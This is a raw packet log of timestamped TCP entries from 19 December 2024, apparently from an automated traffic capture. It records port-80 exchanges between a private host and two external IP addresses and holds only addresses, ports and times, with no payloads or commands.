Dec 19, 2024 08:09:36.897906065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.897953987 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.016788960 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.016812086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.016875029 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.017260075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.017273903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.017332077 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.136358976 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136372089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136382103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136393070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136404991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136416912 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136429071 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136440039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136450052 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136461973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136461020 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.136472940 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136480093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136492968 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136570930 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.136570930 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.136570930 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.136729956 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136742115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136750937 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136769056 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136780024 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136790037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136795044 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.136801004 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136814117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136822939 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.136822939 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.136826038 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136838913 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136843920 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.136850119 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136862040 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.136881113 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.136917114 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.137666941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.137679100 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.137689114 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.137700081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.137711048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.137713909 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.137723923 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.137736082 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.137736082 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.137747049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.137756109 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.137767076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.137778997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.137780905 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.137789965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.137801886 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.137840986 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.138431072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.138443947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.138462067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.138473034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.138482094 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.138529062 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.138887882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.138900042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.138909101 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.138915062 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.138925076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.138933897 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.138943911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.138957024 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.138961077 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.138968945 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.138979912 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.138983011 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.138998032 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.138997078 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.139008999 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.139018059 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.139020920 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.139055014 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.139086962 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.139632940 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.139797926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.139808893 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.139817953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.139828920 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.139838934 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.139851093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.139851093 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.139863968 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.139874935 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.139887094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.139899969 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.139906883 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.139906883 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.139909983 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.139934063 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.139966011 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.140703917 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.140714884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.140724897 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.140734911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.140746117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.140757084 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.140768051 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.140779972 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.140784979 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.140789986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.140803099 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.140814066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.140824080 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.140824080 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.140862942 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.141477108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.141489983 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.141540051 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.141587973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.141599894 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.141608953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.141619921 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.141630888 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.141642094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.141653061 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.141653061 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.141665936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.141676903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.141681910 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.141681910 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.141689062 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.141707897 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.141738892 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.142384052 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.142467976 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.142479897 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.142488956 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.142513037 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.142551899 CET	80	49876	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:37.142563105 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.142564058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.142580986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.142607927 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.142613888 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.142625093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.142636061 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.142635107 CET	49876	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:37.142640114 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.142661095 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.142673016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.142682076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.142740011 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.142772913 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.143511057 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.143522978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.143532991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.143543959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.143553972 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.143565893 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.143564939 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.143580914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.143588066 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.143594027 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.143605947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.143609047 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.143619061 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.143625975 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.143630981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.143646002 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.143666029 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.143686056 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.144398928 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.144433975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.144445896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.144455910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.144467115 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.144468069 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.144483089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.144494057 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.144505024 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.144505978 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.144516945 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.144527912 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.144529104 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.144541979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.144556046 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.144556046 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.144578934 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.145195961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.145207882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.145253897 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.145324945 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.145337105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.145347118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.145351887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.145358086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.145369053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.145379066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.145391941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.145401001 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.145402908 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.145416021 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.145426989 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.145459890 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.145459890 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.146076918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.146092892 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.146143913 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.146307945 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.146320105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.146331072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.146342039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.146352053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.146363020 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.146373987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.146385908 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.146394968 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.146397114 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.146408081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.146419048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.146428108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.146444082 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.146444082 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.146483898 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.146483898 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.147243023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.147257090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.147267103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.147278070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.147289991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.147301912 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.147317886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.147327900 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.147331953 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.147331953 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.147340059 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.147351980 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.147361040 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.147363901 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.147375107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.147394896 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.147394896 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.147416115 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.148032904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148143053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148154020 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148164988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148175955 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148186922 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148199081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148200989 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.148214102 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148225069 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.148226023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148242950 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.148246050 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148260117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148273945 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148274899 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.148297071 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.148327112 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.148873091 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148896933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148909092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148927927 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148941040 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148952961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148967028 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.148971081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.148988962 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.148998022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.149014950 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.149017096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.149038076 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.149092913 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.149106026 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.149116993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.149147987 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.149183035 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.153107882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153120995 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153131962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153142929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153155088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153167009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153173923 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.153178930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153192997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153204918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153217077 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153228045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153238058 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.153238058 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.153239965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153259039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153268099 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.153273106 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153287888 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153301954 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.153306007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153320074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153322935 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.153332949 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153343916 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153354883 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.153358936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153393984 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153395891 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.153409004 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153419971 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153419971 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.153435946 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153453112 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153464079 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.153465033 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153476954 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153486013 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.153490067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153502941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153515100 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153527975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153531075 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.153541088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153553963 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153553009 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.153568029 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153577089 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.153580904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153594971 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153600931 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.153609037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153620958 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.153621912 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.153637886 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.153661966 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.154072046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.154084921 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.154097080 CET	80	49862	194.87.47.113	192.168.2.6
